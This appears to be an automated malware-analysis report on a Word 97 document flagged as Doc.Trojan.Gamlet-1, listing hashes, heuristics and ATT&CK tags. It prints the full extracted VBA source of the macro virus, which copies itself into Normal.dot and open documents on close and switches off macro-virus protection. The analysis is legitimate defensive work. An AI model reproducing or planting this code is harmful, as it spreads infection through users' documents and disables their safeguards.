Doc.Trojan.Gamlet-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 a36a79d60a076054…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-09-04 13:18:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-01
MD5: c18a86b295483a5b134414c8c5203190 SHA-1: 45d0bbc1d9ee92b973aa100a5a5242aec6b29d15 SHA-256: a36a79d60a076054fc32a278c9fc0d1b1e186667a9680a5fafab5e84c26251d2
248 Risk Score

Malware Insights

Doc.Trojan.Gamlet-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains legacy WordBasic and VBA macros, with critical heuristics indicating self-replication and disabling of macro protection. The AutoClose macro attempts to copy the 'Gamlet' macro project to both the active document and the Normal.dot template, suggesting an attempt at persistence and spreading. The presence of 'Gamlet' in the macro names and the ClamAV detection strongly suggest the Doc.Trojan.Gamlet-1 family.

Heuristics 5

  • ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gamlet-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1174 bytes
SHA-256: 4f5acf7a2047a6a0098fa0bf487b7c7ec053f87a761e1aff780acf435a94bd29
Detection
ClamAV: Doc.Trojan.Gamlet-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Gamlet"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e1:

On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e2:


End Sub

Sub AutoExec()
    Options.VirusProtection = False
End Sub




Sub ToolsMacro()
'    Dialogs(wdDialogToolsMacro).Show
With Assistant
    .Visible = True
    .Animation = 24
End With

End Sub